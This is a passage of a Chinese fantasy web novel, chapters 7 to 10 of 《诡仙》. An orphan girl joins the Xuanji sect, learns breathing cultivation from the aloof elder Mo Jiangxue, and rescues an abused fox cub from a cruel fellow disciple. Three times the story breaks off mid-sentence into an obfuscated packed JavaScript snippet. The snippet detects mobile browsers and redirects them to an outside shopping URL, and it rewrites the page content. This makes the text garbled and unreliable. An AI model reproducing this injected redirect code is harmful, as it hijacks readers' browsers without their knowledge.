《诡仙》 7. 玄门(二) * 月色下,碧水边,两人相对而坐。 “闭上眼睛,记住口诀——静坐敛虑,凝神于虚,如坐高山而视众山众水,如燃天灯而照九幽九昧,心神一静,随息自然……”[1] 莫绛雪说一句,谢清徵在心中跟着默念一句,虽不太明白那些口诀是什么意思,但牢牢记在了心底。 口诀两百来字,莫绛雪口述一遍后,让谢清徵重复一遍。 谢清徵死记硬背,竟真记下了不少,依言背诵一遍后,只错了两三句。 莫绛雪纠正她,让她再背一遍,第二回她不假思索地复述出来,一字不错。 莫绛雪颔首道:“还算聪慧。” 不期然被这冷冰冰的人一夸,谢清徵心花怒放,睁开眼睛,微微笑了一下。 莫绛雪目光如冰:“勿动,凝神静气。” 吓得谢清徵连忙又闭上眼。 莫绛雪在旁指引:“深吸气,缓呼气,摒弃杂念……” 谢清徵依言而行,初时心潮起伏,脑海杂念丛生,难以放空,但听得水潭边竹叶沙沙作响,一颗心渐渐沉静下来。 慢慢的,她感觉到有一股清凉的气息从鼻尖涌入,沿着喉咙缓缓下沉到腹部。 腹部微微发热,那股清凉的气息在体内缓缓转动,身体的疲惫感和不适感一点点消散。 渐渐地,四周变得无比安静,她再也听不到外界的任何动静。 这般坐了不知有多久,直到听见一阵清脆的鸟叫声划破寂静。 她缓缓睁开眼。 旭日初升,潭面波光粼粼。 她站起身来,迎着晨曦,深深吸了一口气。 嗅到了竹叶的清香,更觉耳清目明,身体也好似轻盈了许多,是从未有过的轻松和清爽。 昨日昏昏沉沉魂不守舍的,现在一夜未睡,就这么坐了一夜,却一点也不困不累。 还真是奇妙。 莫绛雪盘腿坐在竹枝上,左手虚虚握拳,掩唇轻咳了一声。 她若无其事般化去掌间的一滩黑血,从竹枝上飘然跃下,交代道:“今天是二月初三,今后你每个月来这里修炼一回,持续一年,不可懈怠。” 谢清徵点点头,又担忧地看着莫绛雪:“你……真的没事吗?” 她的面色苍白如纸,看上去比昨日更虚弱了些,双眸瞳色浅淡,瞬也不瞬地望着自己,不知在想些什么,面上的七分病气,倒削弱了身上的三分冷意。 “这附近有大夫吗?我陪你一块去看看大夫,好不好?” 莫绛雪又咳了两声,摇头道:“先送你回厢房。”素色衣纱在风中微动,声音也比昨日轻了许多。 谢清徵本想和她打探一下母亲和温家村的事情,可见了她这幅模样,哪里还敢多言。 别说着说着就咳出一滩血来…… 她们回了昨日的那间厢房,莫绛雪留下一句:“你在此稍等。”便先走了。 她走得太快,眨眼间,便不见了踪影。 谢清徵回忆起她苍白的脸色,忍不住胡思乱想:“她到底用了什么方法才消去我身上的那些毒?代价大不大?真希望她快些好起来……萍水相逢一场,不知道,下次再见面是什么时候?希望下回见到她时,她已经痊愈了。” 也不知道这里是哪里,百无聊赖间,谢清徵抬手摸了摸眉心的朱砂印记。 有母亲留下的一丝灵气……这是不是说明她的母亲也是修仙人士?温家村的那些结界和封印,还有那把天璇剑,难道也是母亲留下的? 正沉思,厢房的门忽然被推开,一个白纱蒙面的女子走了进来,冷声道:“姑娘好,我们掌门有请,请随我来。” 那女子目如寒星,身姿绰约,穿着黑白相间的道袍,腰佩长剑和玉箫,看上去也像是一个修仙人士。 这里的修仙人士,都是这般冷若冰霜的吗? 谢清徵一脸迷茫地跟上那女子,去见所谓的掌门。 路上,她和那女子打听,这里是什么地方。 那女子言简意赅道:“璇玑门。” 璇玑门坐落于东海之上,立于碧波万顷之间。 举目四望,白雾缭绕,云山苍苍,江水泱泱,云外时不时传来几声鹤唳,高亢洪亮,回荡在群山之间。 群山连绵不绝,或栽古松,或种绿竹,山上细雪纷飞,山顶终年覆雪,是以清幽中透出一股苍茫之气。 谢清徵在破破烂烂的温家村待了许多年,就是做梦,也梦不到这等世外仙境。 那白纱蒙面的女子名唤水烟,是璇玑门掌门的首徒,一路上口风甚紧,不多看人一眼,不多说一句话。 偌大的仙府,不闻一丝喧哗之声,静悄悄的,连一道风声都听不见。 她们来到一间庄严的大殿上。 殿内燃着袅袅降真香,座上有一名玉冠道袍的女子,执卷望来,唇边噙有一抹温和的笑意。 那女子秀美中透着三分英气,背负拂尘,身穿一袭黑白相间的道袍,道袍上绣有展翅欲飞的仙鹤。 最奇特的是,她的头发乌黑如墨,两道眉毛却都白得像雪一样。 与她四目相对时,谢清徵心神微微一震。 这个人好眼熟啊,自己好像在哪里见过,可怎么也想不起来…… 萧忘情挥退水烟,朝谢清徵走来,温声道:“你这孩子眉清目秀的,讨人喜欢,我昨晚见了你就想收下你,可你出自天枢谢氏一脉,与天枢宗渊源颇深,我不能擅自做主,所以连夜传书给了谢宗主。” 谢清徵听得云里雾里。 什么天枢宗?谢氏一脉?还有什么谢宗主? 萧忘情似是看出了她的疑惑,缓声解释:“你的母亲名为谢浮筠,出身天枢宗,当年也是玄门中闻名遐迩的修士。她与我是故交,她死后,我曾经四处派人寻找你的下落,没想到,被一同封印在了温家村。” 谢清徵将茫然都写在了脸上。 她告诉萧忘情,自己记不清以前的事情,想让萧忘情告诉自己一些有关于母亲和温家村的事。 萧忘情却只是摇了摇头:“我亦不太清楚,我只知道温家村覆灭、你母亲魂飞魄散之前,村里起过一场瘟疫,或许与蛮荒的魔教有关。这些事情说来话长,现在和你说了,你未必能明白,等你长大些,我再告诉你。” 魂飞魄散…… 谢清徵的注意力都被这四个字吸引了去。 她听姑姑说过,心愿未了或怨念极强之人,死后可以化身成鬼,滞留在人间。 她先前还奇怪,为什么温家村的人死后能变成鬼照料她,她的母亲却不能。 竟是连魂魄也不存于世了吗? 箫忘情接着道:“如今天枢宗的谢宗主是你母亲的同门师妹。我昨晚传信与她,和她说了你的情况,她让你今后安心留在璇玑门便可。” 谢清徵虽听得懵懵懂懂,但看见萧忘情温和慈爱的眼神,胸间一热,想到了温家村的姑姑,不由感到一阵温暖。 原来,并非所有的修仙人士,都是那般冷若冰霜。 萧忘情与莫绛雪,是截然不同的两种人。 萧忘情与人交谈时常常未语先笑,十分和蔼可亲,对她尤为温和关切。 她那一颗惴惴不安的心,便渐渐平静下来。 * 入门那天,箫忘情将一枚写有她名字的腰牌交到她手上,正色道:“徵儿,你虽是故人之女,但入我门下,不论出身贵贱,不论亲疏远近,一视同仁对待,我对你不会有任何偏私,你且随你的师姐去外门,从外门历练起。” 谢清徵应声称是。 萧忘情又叮嘱她:“你的身世十分复杂,背后牵涉到天枢宗,璇玑门中知晓你来历的人不多,旁人若问起你的身世,你不可多言,以免旁生枝节。明白吗?” 她点头道:“清徵明白。” 她其实不太明白,为什么会旁生枝节?难道她的身世不太光彩吗? 转念一想,有个地方能收留她就不错了,寄人篱下,还是表现得听话懂事一些吧。 萧忘情微笑道:“好孩子,今后要勤勉修炼,莫要辜负了我对你的期待。”她招来了一位师姐。 谢清徵拿上腰牌,跟着那名师姐去往外门。 那师姐相貌秀气,约莫十七八岁年纪,腰别一管玉箫,走在前面,语带笑意:“师妹好,我叫闵鹤,是掌门座下的二弟子,负责入门的新人,璇玑门共有门徒五千人,你是第五千零一名。” “师姐好,我叫谢清徵。” 闵鹤:“清徵……这名字倒与我们璇玑门有缘。清徵师妹,你随我来,我带你去未名峰。” 谢清徵习惯先记别人的声音,再记别人的相貌。 闵鹤师姐的容貌并不算惊艳,但她的声音既甜又柔,听在耳中,令人感到说不出的舒适。 谢清徵跟在她身后,一路上走过亭台栈道。 门派中巡逻守卫的修士,皆穿绣有仙鹤的黑白色长袍,除了佩剑以外,有的人腰间别着短笛,有的人背着七弦琴,有的人抱着箜篌…… 谢清徵低头看了看身上缝了许多补丁的衣裳,感觉自己和这里格格不入。 那些仙气飘飘的修士看到她时,眼中却不带异样之色,只是微微笑一下,平淡地颔首致意。 她不知该如何回礼,也只是笑一笑。 闵鹤介绍道:“我们璇玑门由天璇、天玑、瑶光三派合并而成,‘璇玑’是各取天璇、天玑的一个字,门派服饰则是保留了瑶光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080629|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派黑白色的传统。” “修真界宗派林立,与我们璇玑门渊源最深的,当属天枢宗、天权山庄、玉衡宫、开阳派。我们五大派一脉同生,八百年前都是一个祖师,虽然现在修炼方式各有不同,但都是以剑入道,以道教为宗,以斩妖除魔为己任。” “我们门派乐修居多,清徵师妹,一年后你若通过内门考核,就可以选一种乐器作为你的本命法宝。” 谢清徵忽然想起莫绛雪的武器是箫和琴,昏睡中,也曾听见过她和萧掌门交流,不知道,她在璇玑门哪里? “掌门和副掌门住在紫霄峰,掌门主管门派大小事务,裴副掌门身体不好,比较少过问门中事,其他金、青、赤、蓝四位长老各管一峰,外门未拜师的住在未名峰。” 闵鹤在前面走着,心里嘀咕,身后的小姑娘,声音听上去温温软软的,很是乖巧的模样,看上去虽非出身大富大贵之家,却也透着一股不染尘埃的纯净,但穿得破破烂烂的,身上没有半点修为不说,还淤积了不少的鬼气。 这年头,兵荒马乱的,掌门经常捡小孩回来,有时从颠沛流离的难民堆里捡一个,有时从没落的公侯世族家捡一个,这小姑娘大概也是从哪个难民堆或是死人堆里捡回来的吧…… 闵鹤琢磨片刻,道:“未名峰中有天、地、玄、黄四个班,都是今年刚收入门的,但前面几个仙班的学生大多是自小得遇仙缘,修炼着来的。清徵师妹,你刚入门,没有修为基础,跟不上前面几个班的进度,先在黄字班学习入门知识,可好?” 谢清徵轻声道:“一切听从师姐安排。” 闵鹤道:“不管在哪,修行即修心,主要还是靠个人。我们璇玑门是修真界最不看重出身的门派,主张有教无类,道法平等。不像他们天枢宗,除非天资极高,要不然只收名门世家、王族公侯出身的。那些富贵子弟啊,到了修真界也总是高人一等的模样,就和她们的宗主一样,哎哟——不说了。” 闵鹤想到“谨言慎行”的门规,轻轻拍打了一下自己的嘴巴,笑道:“师妹,等你后面基础上来了,我会看情况把你调到前面几个班去。” 谢清徵道:“好的,谢谢师姐。” 她心想:这位闵鹤师姐,与先前那位白纱蒙面的水烟师姐,都是掌门的高徒,性格却截然相反,一个热情开朗,一个谨言慎行。 闵鹤:“没事的时候呢,你可以去各峰逛逛,当然,只能在山底下。各峰山腰以上都设有结界,没有内门弟子的接引,外门弟子进不去。就算进去了,修为境界不够的话,也很难抵御山上的寒气。” “我们门派还有位客卿长老,住在缥缈峰的十里梅林。她一个人住,喜欢清静,不喜欢被打扰,整座山峰都有结界,千万不要靠近,否则会被结界弹飞出去。眼下,只有掌门和裴副掌门,每个月会去找她煮茶论道、弹琴对弈,我呢,偶尔会跟着一块去,帮她们取梅花上的雪水煮茶。” 谢清徵点点头,嘴上道:“好的,多谢师姐提醒。” 心中却想:梅花上的雪水喝了会不会拉肚子呢……缥缈峰,听着有些耳熟啊…… 等等,缥缈峰!碧水寒潭!不正是她昨晚打坐的地方吗?难道莫绛雪是—— 谢清徵陡然拔高了音量:“师姐,那位客卿长老叫什么?” 闵鹤回过头看了谢清徵一眼,似乎有些讶异。 谢清徵自觉失态,耳根一阵发烫,小声解释道:“我在想会不会……是我认识的一个人。” 长老一词,听着像是一个白发苍苍德高望重的前辈高人,莫绛雪看上去只比她大三四岁,已经是一派长老了吗? 闵鹤显然不相信眼前这个平平无奇的小姑娘会认识本派的客卿长老,微笑道:“客卿长老名叫莫绛雪,是蓬莱仙山的隐修,一年前入世,于红尘中四方游历、快意任侠,曾以一张九霄琴、一管流霜箫,一日内连败九十七位金丹期高手,扬名天下。修真界中认识她的人不多,知道她的人倒不少。” 果然是她! 闵鹤似是极喜欢莫绛雪,滔滔不绝道:“我们的莫长老修为高深莫测,大伙都说她是「玉魄冰魂,琴心剑胆」,还赠了她一个雅号‘云韶流霜’。” “云韶呢,是说她琴弹得好,听上去像是天宫的韶乐;流霜,是指她的佩箫,也是指她那个人,冷得像月光、像霜雪。” 谢清徵问:“师姐,我在外门能经常看到莫长老吗?” 闵鹤摇头道:“莫长老性子孤僻,喜欢一个人在缥缈峰弹琴,不怎么出来闲逛,能不能在门派里遇见她,就看缘分了。不过师妹啊,我可以教你怎么一眼认出她。” 谢清徵:“嗯……” 或许不必。 她们已经见过面了……还同床共枕过呢…… 8. 玄门(三) * 闵鹤:“我们门派的服饰是黑白配色的,但长老和客卿们不受约束,莫长老就喜欢穿一身白底红纹的衣裳,就像雪里的红梅一样,师妹,你一见到她就能认出来,她——” 话到此处,闵鹤的脸上多了几分痴迷:“她简直美得连女子见了都要心动!” 谢清徵点点头,那人确实美得出尘脱俗。 其实门派里的这些师姐们也很好看,但是有莫绛雪作对比,谢清徵看她们只觉是寻常了。 闵鹤又惋惜道:“可惜她最不喜欢被人盯着看,经常戴着一顶白纱帷帽。本来见到她的机会就不多,难得见一次,还只能看得朦朦胧胧,诶。” 谢清徵:“她这么厉害,是不是很多人想拜她为师?” 闵鹤道:“那是自然,可莫长老从不收徒,而且,她是修忘情道的,和我们不太一样。” 谢清徵:“什么是忘情道?” 闵鹤道:“就是所谓的‘太上忘情,忘情而至公’。大道三千,有剑道、丹道、佛道、鬼道、苍生道、无情道等等。我们璇玑门修的一般都是苍生道,只有莫长老是修忘情道的。” 这一个个,道道道的…… 谢清徵听得云里雾里。 闵鹤耐心解释:“比如说,无情道就是不沾因果,断绝七情六欲,几乎没有喜怒哀乐之情;忘情道则相反,沾染因果,却能放下一切,不会刻意压抑七情六欲,一切都顺其自然发展。” “噢……”谢清徵依旧似懂非懂。 闵鹤:“修忘情道的人,虽然不会刻意压抑七情六欲,但喜怒哀乐之情都很淡,似雁过无痕,不为情绪所动,不为情感所扰,就算有感情,也好像忘记了一样。” 谢清徵点点头。 修忘情道的…… 难怪那人总一副万事万物不萦于怀的模样,有时让人觉得她有情有义,有时又让人觉得她冷情冷性。 无情还似有情,有情又似无情,真让人捉摸不透。 她还想和闵鹤师姐多打听一下,闵鹤却伸手指了指前方:“清徵师妹,我们到了,这里就是未名峰。” 未名峰是一座栽满古松的山峰,亭台楼阁,飞檐翘角,在白雾中若隐若现。 闵鹤带着谢清徵在未名峰走了一圈,熟悉环境,然后登籍造册,领了入门的书籍、服饰等物品,接着把人带到一间小竹屋中。 “师妹,以后呢,你就住这里,卯时起床,亥时休息。门派女修、男修的活动区域是严格区分开的,平时不在一处学习。噢,还有一件事,山里的仙鹤,是门派饲养的灵宠,切不可抓来吃掉,曾经就有个刚入门的师妹——” 谢清徵的肚子忽然咕咕响了两声。 她连忙捂住肚子:“师姐,我没想吃仙鹤!” 她只是有点饿了! 闵鹤扑哧一笑,点了点她眉心,温柔叮嘱道:“师妹啊,你正是长身体的时候,以后可要多吃点,不能再这么瘦下去了。内门修士都已辟谷,只有未名峰这里会提供吃的,你要是肚子饿了,就去食轩阁。” 谢清徵心中一暖,柔声道:“谢谢师姐。” 闵鹤揉了揉她的脑袋:“先入门的师姐,对后辈都有教导之责,等以后你成为师姐了,也要好好对待对师妹们,知道吗?” 她仰头看着闵鹤,认真道:“师姐,我会的。” 她会好好修炼,学得一身本领,将来报答萧掌门的收留之恩,报答璇玑门的教养之恩。 * 翌日,天刚蒙蒙亮,未名峰的晨钟“咚咚咚”响了三下。 谢清徵迷瞪着眼起床洗漱,拿上昨日领的经书,在食轩阁填饱肚子后,去三清殿诵经。 上午习文,下午练剑,早晚诵经,这是外门的日常功课。 谢清徵入门最晚,进了黄字班,目之所及,都是她的师姐。 晨读的时候,天、地、玄、黄四个班的修士都会来三清殿。 这些修士有长有幼,大部分年龄都在十来岁左右,最小的看上去才七八岁,最大的看上去有二十出头。 每日诵读的经文都不一样,今早众人诵读的是《清静经》。 “大道无形,生育天地;大道无情,运行日月;大道无名,长养万物……” 谢清徵找了个人少的位置坐下,用耳朵听了一遍之后,第二遍便可以跟着一块诵读。 诵读完经书,有几个内门的师姐过来,让黄字班的学生留下,学习璇玑心法的第一层。 师姐们教的那些静坐、引气入体,和莫绛雪教过的吐纳术十分相似,不一会儿,谢清徵就达到入定的状态。 到了下午,因着她是新入门的,教习剑术的师姐先给她把了个脉,然后道:“师妹,你身子骨太弱,阴气盛,阳气衰,先去做些砍柴、担水、扫山阶的杂活,强身健体,固本培元,半个月后,再来同我学习入门剑术。” 谢清徵挠挠头,老老实实去干活。 她和温家村的鬼怪相处多年,身上的阴气确实重了些,从前又这种病那种病的,身子骨也好不到哪去。 砍柴、担水、打扫山阶都是些体力活,不怎么费脑子。 只不过门派的仙鹤调皮,经常过来捣乱,一会儿叼走她砍的竹子,一会儿偷喝她挑到水房的水,一会儿叼些落叶在她打扫过的山阶上。 门派的灵宠,打不得骂不得,谢清徵无奈扶额,只好小声叨叨一句:“难怪闵鹤师姐要特意提醒新入门的师妹,不能把你们抓来吃掉……” * 半个月后。 谢清徵明显感觉到自己的身体康健不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080630|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,砍柴挑水扫山阶时,比之前轻松了许多,五感也比先前更加灵敏。 这些日子,她晚上睡不着觉的时候,会用莫绛雪教她的法子,静坐一夜。 久而久之,她能感受到丹田内有一股气体涌动,只不过,她听同门说她们丹田内运行的是一股热流,而自己体内的是一股清冽的凉气。 约莫是莫绛雪教她吐纳之法的缘故,她也没和其他人提起这点不同之处。 这半个月里,她没再见过莫绛雪。 可门派里到处都有人兜售她的画像,走在路上,时常能听见师姐提起她。 这不,傍晚时分,谢清徵打扫完石阶,累得一身是汗,坐在石阶上歇息。 远远走过一群内门的师姐,她耳朵尖,听见了她们的闲聊: “那些新入门的师妹师弟,只是看了一眼莫长老的画像,听说了她一日连败九十七位金丹期高手的事迹,就指天立誓要拜她为师。” “你没和她们说,莫长老从不收徒吗?” “说了,她们不信!” “嗐,少年人就是这样,过分自信,总觉得自己会是最特别的那个。” “我听闵鹤师姐说,莫长老为取回镇派宝物天璇剑,受了重伤,至今还在缥缈峰闭关疗伤。” 谢清徵听到这里,心头一紧。 只怕不仅因为天璇剑,还因为替她疗毒,损耗了许多真气…… 她心生亏欠感,却不知要如何报答那人。 如今天璇剑封存在缥缈峰山腰的剑阁中,门派规定,所有人不可随意靠近缥缈峰,算是门派的禁地之一。 谢清徵听那群师姐们接着聊道: “我倒想看看,明年有没有人能成功拜莫长老为师。” “依我看,绝无可能!” “缥缈峰太过高处不胜寒,还是招呼大家去赤霞峰学琵琶吧,丹姝长老可是弹得一手好琵琶。” “青松峰的沐长老也很不错啊,就是凶了点……” 闲聊声渐渐远去,谢清徵听够了八卦,站起身,长叹一声气。 虽然希望渺茫,但她真的很想拜莫绛雪为师,也不知道要怎么做才能入那人的眼…… 她扛着扫帚,边思考边准备回屋休息。 她恰好错过了那群师姐最关键的一句抱怨: “嘘,别提青松峰了,那个小煞星把青松峰上下折腾得够呛,听说她用毒针毒瞎了一个杂役的眼睛,只因为那个杂役多看了她两眼。你们也别轻易靠近青松峰,得罪了那个小煞星,准没好果子吃。” 谢清徵走在回去的路上,耳畔忽然传来一道奇怪的动静。 似是婴儿的啼哭声,奄奄一息,听不分明。 她四下张望,循声找去,不知不觉,就走到了隔壁的青松峰。 9. 玄门(四) * 声音是从一颗大松树下的树洞中传出的。 那树洞口被一块大石头堵着。 谢清徵费劲地搬开石头,往里看去,狭小的洞穴中,蜷缩着一只狐狸幼崽。 那狐狸看上去不到两个月大,不知被困在里面多久,瘦得只剩皮包骨,浑身鲜血淋漓,地上、石头上血迹斑斑,见到有人来,立时伏低身子,抬起尾巴,冲她龇牙。 它的双眼一大一小,左眼被血糊了半边,右眼死死盯着人看,恐惧的眼神中,夹杂着愤怒、屈辱与不甘。 谢清徵头一回在一只动物身上,看到这般复杂的眼神,不由怔了片刻。 她在西山时便喜欢捡些受伤的小禽小兽回家,当下毫不犹豫,小心翼翼抱起那只幼狐。 那幼狐倒没怎么挣扎,或者说,根本无力挣扎,缩在她怀里,抖如筛糠。 “真可怜,谁把你弄成这样的?” 她叹气,打算带它去治伤,却有个身着外门服饰的少女,从松树后面绕了出来,伸手拦住她的去路。 “谁让你搬开那块石头的?” 那少女的声音清脆娇嫩,看上去只有十三四岁左右,生得柳眉杏目,相貌极美,神情却隐含一丝傲慢与戾气。 璇玑门中,见到同门需行拱手礼,见到尊长需行揖礼。 谢清徵手上抱着幼狐,不太方便行礼,便将身子微微一躬,温声道:“师姐,那石头将一只小狐狸堵在了里头。” “我知道。”那少女冷冷盯着她,“我问的是,谁让你搬开的?” “师姐,这需要得到谁的允许吗?我听到了奇怪的动静,就搬开这块石头瞧一瞧。我有哪里做得不对吗?” 她这一番话说得心平气,丝毫没有顶撞的意思,是真心想请教对方,自己哪里做错了。 那少女却骤然暴怒,高声道:“谁允许你这么和我说话的?这是青松峰!是我家!是我的地盘!” 谢清徵神情更加茫然。 青松峰怎么就成她的家了? 她身上分明穿着和自己一样的外门服饰。外门服饰亦是黑白配色,只不过没有仙鹤刺绣。 谢清徵道:“不管是青松峰还是红松峰,都是璇玑门的地盘,是我们所有人的家。” 她涉世不深,心性纯粹懵懂,心里是这么想的,嘴上便也这么说了。 那少女被她气笑,斥骂道:“哪来的傻子?新来的吗?连我是谁都不知道!” “我确实刚来不久,外门有六百多人,我暂时记不住那么多人的脸。”谢清徵有问有答,答得一本正经。 只不过,这人骂她是傻子,她就不愿称呼对方一声“师姐”了。 那少女满脸不耐烦:“放下那只畜生,滚吧!我懒得和傻子计较!” 那幼狐缩在谢清徵怀里,浑身发颤,眼睛却还是死死瞪着那少女。 谢清徵轻轻摸了摸它的脑袋:“它受伤了,我想带它去治伤。” “这畜生是阿姐送我的,它受不受伤,关你什么事啊?” “那它……” 谢清徵想问它怎么伤成这样,随即反应过来,眼前这个少女极有可能就是罪魁祸首。 怎的如此残忍? “你要是不喜欢它,可以放走它,为什么要虐待它?” 那少女见谢清徵说个不停,好生厌烦:“要你多管闲事?我的东西要杀要剐全凭我做主!还不快滚,别脏了我的眼,蠢货!” 谢清徵抱紧怀中狐狸,不愿松手,看着那少女,没好气道:“你真残忍,没礼貌,又没教养。” 这是她所学过的全部骂人词汇。 那少女眼中骤然窜起怒火,“铮”一声,拔出背后的长剑,森然道:“你有本事再说一遍!” 剑身蓝光四溢,看着像是一把上品仙器。 谢清徵手中无剑,只有一把扫帚,下意识后退了几步。 那少女的话语本是威胁之意,偏偏她全然不懂,便只依言照做: “你这个人,残忍、没礼貌、又没教养。”顿了顿,她又小声道,“你才是蠢货,居然主动让人再骂你一遍,我还是第一次听到这种要求……” “找死!”那少女怒不可遏,一剑刺来。 谢清徵心中悚然,本能地侧身一躲,堪堪避开剑锋。 右臂被剑气所伤,鲜血迅速染红了外衣,她无暇顾及,抱着狐狸,拎着扫帚,脚下生风,溜之大吉。 从前在西山捡小动物是救命,如今在璇玑门捡小动物是要命啊。 那少女紧随其后,边追边骂,污言秽语不堪入耳。 谢清徵听不太懂那些话,只隐约感觉是骂人的,似乎骂得还很难听。 但是她懂得——打不过就跑。 似乎还有人教过她这话…… 这一跑,她只觉耳畔风声呼啸,丹田内一股凉气冲将上来,身子变得无比轻盈。 她在松林中疾速穿梭,好似与风融为一体。 从前眼盲,只能拄着拐杖慢慢行走,似乎还从未体验过这般风驰电掣的感觉,仿佛整个世界都在她的脚下飞速倒退。 她不敢回头,只凭直觉和听觉判断那少女的位置。 那少女的骂声如影随形,紧跟在她身后,忽远忽近,忽左忽右。 丹田内凉气鼓荡,谢清徵脚下的速度越来越快。 其实那少女一直只沿着一条道追,反倒是谢清徵步法古怪,左窜右闪。 那少女看谢清徵踩出如此诡异的步法,神情逐渐凝重。 震位、巽位、离位、坤位……她的每一步都踩在了六十四卦的方位上! 这分明是天枢宗的上乘功夫“万象步”! 她是璇玑门的外门弟子,怎会天枢宗的独门绝技? 正疑惑重重,前方出现一片竹林,那少女连忙刹住步伐,站在原地,冷笑一声,料想那小师妹不知深浅,必会被缥缈峰的结界弹飞出来。 可下一瞬,她愣在原地,难以置信地揉了揉眼睛: 那小师妹竟毫无阻碍地穿进了竹林中! 难道缥缈峰的结界消失了? 少女惊诧不已,试探着向前一步,伸出手去。 手掌刚触及到无形的屏障,一股强大的力量登时将她弹飞数丈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080631|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她狼狈地爬起,望了一眼竹林,接着转身就跑。 那人一定是邪魔奸细!偷学了天枢宗的功夫,混入璇玑门,还破了缥缈峰的结界!她要去告诉阿姐! * 跑出一段距离,谢清徵没再听见谩骂声,回头望去,已不见那少女的身影,只有郁郁葱葱的竹枝在微风中摇曳。 追不上她了吗? 她微微松了口气。 这一松懈,陡然感觉双腿似有千钧重。 再无力挪动半步,谢清徵瘫坐在地,背靠在一棵绿竹上,摸了摸怀里的小狐狸,累得上气不接下气,还要开口说话: “她跑得好慢啊,连我都跑不过……我好像还是第一次跑这么快……这里这么多竹子挡着,她应该找不到我们了……你别怕,我不会把你交给她的……等治好了你,我就送你离开……” 那狐狸瘦得骨头凸起,抱在怀里都有些硌人,四条腿瘦如枯柴,毛发杂乱不堪,浑身血渍斑斑,小小的身躯杂着道道鞭伤、刺伤、割伤。 不知受过多少苦楚…… 它像是极通人性,听懂了谢清徵的话,低低呜咽两声,灰暗的眸子里漾出一点光,讨好似地舔了舔她的手掌心。 湿软的触感袭来,谢清徵笑了一笑,揉了揉它的小脑袋,随即又蹙起眉头,捂住小腹。 好像有一股气息在四肢百骸内乱窜,窜得她十分难受,丹田处又鼓又涨,她想吐,又吐不出来。 喉咙里涌起一阵腥甜,被剑气划破的胳膊也疼得厉害,怀中的幼狐狸耸动鼻翼,似是嗅到了浓郁的血腥味,挣扎着往她伤口处舔舐。 谢清徵按住那狐狸,苦笑道:“你自己都一身伤,还想帮我舔伤口?别管我了,你渴不渴?我好渴啊……” 远处隐隐传来“玎玎珰珰”的琴声,如鸣佩环。 谢清徵一惊,站起身来。 四下望去,绿意幽深,但闻琴声,不见人影。 不知是哪位师姐还是师兄在弹琴,弹得真好听…… 谢清徵循着琴音,一瘸一拐,向竹林深处走去。 越往前行,琴声越清晰。 她不懂音律,却听得入神,仿佛被琴声牵引,不由自主寻觅而去。 直至望见一道熟悉的白衣身影,独坐在竹林间抚琴,她才停下脚步。 那抚琴的女子,半边身子照在斜阳里,半边身子落在竹荫中,明暗相间,似是不经意地抬眼一瞥,瞥向谢清徵,眸光清冽幽静。 谢清徵抱着幼狐,怔了半晌,没有出声扰乱琴音,只与莫绛雪静静对视。 莫绛雪神色如常,视线停留在她身上,十指却不曾停歇,轻拂过琴弦。 琴音柔和,不疾不徐,随风萦绕在竹林中,与细碎作响的竹叶共谱一曲舒缓的乐章。 乐声悠悠入耳,好似一道清凉的灵气,灌入她体内,引导四处乱窜的气息归位。 斜阳余晖透过疏密有致的竹叶,照在地上,光影斑驳。 清风徐徐而过,地上光影随之晃动。 风丝袅,竹叶清,日斓斑。 这一刻,风动,竹动,影动,心亦动。 10. 缥缈峰(一) * 琴音幽幽,竹影婆娑。 谢清徵心想:“若不是自己一手拎着扫帚,一手搂着满是血污的狐狸崽子,这幅画面应当会更美好。” 也曾设想过,再次相见,会是怎样一副光景。 谁料还是和之前差不多,她狼狈不堪,对方出尘若仙…… 一曲毕,她的内息恢复如常,丹田处不再难受,胳膊也止住了血。 她低头看怀里的狐狸崽子,狐狸崽子身上零零碎碎的伤口也在慢慢愈合。 那些琴声似乎带有疗愈的效果。 小狐狸从她怀里探出毛茸茸的脑袋,琥珀色的瞳仁中倒映出莫绛雪的身影。 竹林斜阳中,莫绛雪站起身,收琴。 她帷帽外沿的轻纱掀起,并未掩面,眉目清寒,肌肤胜雪,气色看上去好了许多,越发显得湛然若仙。 谢清徵抱着狐狸,朝莫绛雪深深一揖:“谢谢莫长老。” 入了璇玑门,她很自觉地改了个称谓。 莫绛雪瞧着她身上黑白相间的道袍,又瞧向她怀里的狐狸,只说了一个字: “脏。” 小狐狸闻言,发出轻微的呜咽声,埋起脑袋,重新缩回谢清徵怀里,默默梳理舔舐自己的毛发,不敢再看莫绛雪。 那人的衣衫皓如白雪,相比之下,这只满是血污的小狐狸看上去确实不怎么干净。 谢清徵用自己的衣袖擦了擦小狐狸身上的血痕,讪讪道:“别这么说嘛,它能听懂人话的,会伤心的……” 莫绛雪转身往碧水寒潭的方向走去。 